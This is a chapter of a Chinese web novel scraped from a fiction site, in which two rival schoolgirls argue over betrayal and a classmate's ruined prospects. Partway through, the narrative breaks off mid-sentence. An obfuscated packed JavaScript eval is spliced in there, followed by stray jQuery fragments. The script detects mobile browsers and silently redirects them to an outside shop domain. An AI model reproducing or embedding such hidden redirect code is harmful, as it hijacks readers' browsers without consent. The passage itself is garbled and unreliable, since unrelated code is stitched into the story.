文趣网 > 其他小说 > 荒嶙烧 > 17. 宿怨
    “这么急着见我呀?”

    身后的声音和耳边手机里的声音同时乍起,宿璃微猛地回过头,元屾淼一手拿着手机,笑吟吟地看着她。

    中午的端中很安静,公告栏周围方圆相当大的距离都没有人,就好像全世界只剩下她们两个。

    “刚吃饭去了,抱歉啊没接到你电话,你昨晚不是说想见我吗?有什么事情吗?”元屾淼笑吟吟的。

    宿璃微放下手机,从口袋里摸出几张百元纸币猛地扔到她面门,纸钞纷纷扬扬地落在地上,元屾淼的面容却始终挂着淡淡的微笑,仿佛根本不在乎这种羞辱。

    “是和阮采凉吃饭去了吧。”宿璃微冷声道,“白沁岚不敢得罪甄家,她不会帮你,你是从谁那里得到这些信息的?谁会冒着得罪甄涣笛的风险站在你那边?阮采凉是吗?打着阮采凉妹妹的旗号可以让你接近很多端中学生,进而打听你想知道的一切。你的学校离端中不会很近,为什么会跑来这边吃午饭?你刚才就是在和阮采凉吃午饭是么?”

    “是啊,想必你也一直在提防他吧?从我回来之后你就开始提防他了吧?”元屾淼呵呵一笑,“不过荀漫你真是冤枉他了,他未必是在试探你,只是因为对你有兴趣,可惜他是个对套话没防备心的人啊,话都说出口了才意识到不对,呵呵,也可能是他单纯对我没戒心?”?

    “毕竟你在他面前就是一个可怜的妹妹,家族覆灭举目无亲,难免有缺点也是可以理解的,你不是最擅长利用别人的同情么?”宿璃微面无表情。

    “彼此彼此啦。怎么样,要和他撕破脸么?就像你当初对我做的事情一样。”元屾淼说,“哎,忘啦,整个改原和你撕破脸的人也就只有我吧?你就是那种一边腹诽一边笑靥如花的人呐,就像你对着甄涣笛一样。”

    “她和徐一臣的事情也是你在暗中搞鬼吧?否则为什么你一回来他们就分开了?你做了什么手脚?”宿璃微冷冷地道。

    “你在期待我全部告诉你么?”元屾淼嘲讽一笑,“这个我就不剧透啦,你自己慢慢查去吧,会有大惊喜的哦,其实说到底人都是会说谎的啊,阮樾也好甄涣笛也好。荀漫,我不相信你真的把甄涣笛当朋友,其实很多时候你心里都觉得她很无聊吧,骄纵惯了的富家小姐而已,什么学业啊小男友啊,她那些小小烦恼比起你的算什么啊?你是不是很多时候都有这种想法?”

    “你以为你很了解我么?”

    “我是这个世界上最了解你的那部分人中的一个啊,或许就连贺醒也没有我了解你?”元屾淼悠悠地说,“其实曾经我也困惑过,你为什么选择甄涣笛而不是我,现在我明白了啊,荀漫你需要的不是真正明白你在想什么的朋友,而是一个正确的朋友,一个让你不用时刻担心被看穿的朋友。你会提防阮采凉除了是因为我,也是因为你很怕被他看穿吧?”

    “他和你透露了我和蔡叙冉的事情,或许他不相信那些,但你信了,是吗?”

    “很容易看穿的把戏吧?似是而非让人摸不着头脑,你不就爱做这种事情么?”元屾淼说,“但我知道你要干嘛,你帮她是为了从她那里得到她不愿意轻易给你的东西,所以我只要想办法让你们都得不到想要的东西就行了,多简单。”

    宿璃微静静地看着她:“元屾淼,你就这么恨我。”

    元屾淼理所当然地笑了笑:“是啊。”

    “这对你有什么好处?”宿璃微说,“你应该知道我在查什么,如果蔡叙冉愿意给我线索,我所查出的东西应该也是你想要的,你为什么要阻止我?就因为你恨我吗?”

    元屾淼点头:“是的,我很恨你,你早该知道。我很久之前就说过了,荀漫你一直是个很自大的人,你以为你能洞察所有人的心思,不过你也确实能做到,不然甄涣笛她们也不会被你迷得团团转对不对?但你太自大了,我早就说过我恨你,你却从来没有真的相信,那我只能用现实向你证明了,被误会可是很痛苦的啊,你不比我更清楚么?”

    宿璃微说:“你用钱羞辱她是吗?蔡叙冉应该没有被你给的钱打动吧?除非你去找了她妈妈,你知道她最害怕什么。”

    “嗯,不愧是最了解我的人。”元屾淼语气赞赏,“多亏你没能力往她家安排人盯着,才给了我这个机会啊。”

    “你利用了她的家人,让她失去一切却还不能反抗,元屾淼,你这样做了,就是亲手切断了蔡叙冉这条线,你为了离间我和蔡叙冉,为了恶心我,把事关自己家族名誉的线索毁了,你不觉得可笑么?”

    “可笑?”元屾淼哈哈大笑,“荀漫,你是不是搞错了一件事?我自始至终的目标只有你,你越不好过我越舒服,别的我都不关心。”

    宿璃微深深吸了一口气,克制住身体的颤抖。

    “猜啊,怎么不继续猜了?你猜的都蛮对的啊,让我想想,你接下来是不是会以为我会把我做的一切都扣在你头上来离间你们两个?哈哈哈,你以为我会这样做么?荀漫你错了,我根本不需要这样做,她自然而然就会恨你。

    “你难道不知道吗?对她来说像你这样的人比白沁岚更可恶,白沁岚让她陷在黑暗里,她本来已经快习惯了,这个时候你突然出现要拉她出来,可你没有做到,你让一个寒冬里的人感受到一点点温暖,让她忽然意识到什么叫做正常人的生活,然后这点温暖就消失了,风吹过来会比之前更冷,她理智上知道你什么都没做错,理智上知道这件事和你没有任何关系,可是她控制不了自己对你的厌恶。我对我做的一切问心无愧,有什么必要栽赃给你?”

    宿璃微看着这样的她,忽然觉得非常陌生。即使是在两年前决裂的那个下午元屾淼的脸上也没有露出这样讥诮恶意的神情,那个时候的她咆哮又歇斯底里,说出口的骂声难听至极,可她的眼睛里只有深深的悲哀,就像一只受伤的雪狐,以至于那之后的日子里每当宿璃微想起她那样的眼神,心里最先出现的都不是愤怒,而是愧疚,甚至想像蔡叙冉那样把手轻轻放到她的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771253|209922||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    脸上,抹掉她还没有流出来的眼泪。

    是吗?是愧疚蒙蔽了我么?如果不是这种廉价的愧疚,是不是我就会对你有更多防范?

    宿璃微冷笑了一声:“元屾淼,蔡叙冉妈妈是什么病你不知道么?下肢瘫痪,你利用她来伤害她的女儿,你难道忘记了你妈妈也是……”

    “闭嘴!”

    元屾淼蓦地大吼一声,眼睛里疯狂跳跃的怒火像是要奔出眼眶:“你也有脸说这种话?我妈妈是被谁害死的你不知道么?”

    宿璃微愣住了,她知道元家倒台后元屾淼母亲就死了,但她知道的仅限于此,连玥除了允许她去送元屾淼最后一次之外不允许她再打听元屾淼的任何消息,而宿璃微身边的人也不知为何对此缄口不言,最后一面时元屾淼的话充斥着大量情绪化的咒骂,没法听出什么具体的信息,所以宿璃微其实一直不太清楚当时她被关禁闭的那半年到底发生了什么,让元屾淼恨她恨到这个地步。

    是因为让元家倒台的助力里也有宿家吗?于是元屾淼就把这笔账算到了她头上?宿璃微没法确认这一点,她已经失去了和元屾淼坐下来好好聊一聊的能力,一方面是手环无时无刻不在监听着她,自从当年元屾淼帮她打落监控后,连玥就禁止她再和元屾淼多相处,更不会允许她提及花温案之类的事情。

    另一方面是现在看着这样的元屾淼,宿璃微只觉得打心底里涌现出极其深厚的厌恶,厌恶到恶心。又或者其实宿璃微恶心的是自己,她有时候觉得看着元屾淼就像看着自己,元屾淼是她内心深处不愿意面对也不愿意承认的那部分自我。

    元屾淼上前半步居高临下地看着她:“荀漫,你未免太天真,你觉得我不会为了一条线索和你对着干,就算我真要和你作对,蔡叙冉的威胁也只有一直欺负她的人,所以你只把注意力全放在了白沁岚身上,她对你有忌惮,不可能再在这件事上和你作对,所以你就觉得万事大吉了。我说过我会让你主动来找我,可我没想到你竟然这么天真,天真到愚蠢。

    “你以为陆云枫是毫不知情就被白送了一个保送名额么?同窗六年他不了解蔡叙冉是什么样的人吗?他会相信蔡叙冉是自己放弃的么?可他还是在蔡叙冉放弃之后第一个找老师提交了替补申请,你应该想象不到他在办公室和老师对话那副姿态吧?是啊,当惯了第一,怎么能允许这种好机会从手边溜走呢?所以就算他知道蔡叙冉是有隐情的,却还是生怕来不及一样迫不及待替了她的位置呢。

    “还有,艺术展入选名单你没看见么?那幅画画的是陆云枫,署名却是蔡叙冉的好朋友展琪,那个声称要帮蔡叙冉把画给你看的展琪,你想必对此一无所知吧?因为她拿了画之后就给自己报名了根本没来找你。你当初为了避免给蔡叙冉惹上麻烦没给她你的联系方式,你只想让别人似是而非地觉得你和她有联系,又不敢让别人觉得你和她太熟,害怕这样她会被卷进是非,所以她全程都蒙在鼓里,和你一样,直到今天来看见公告栏。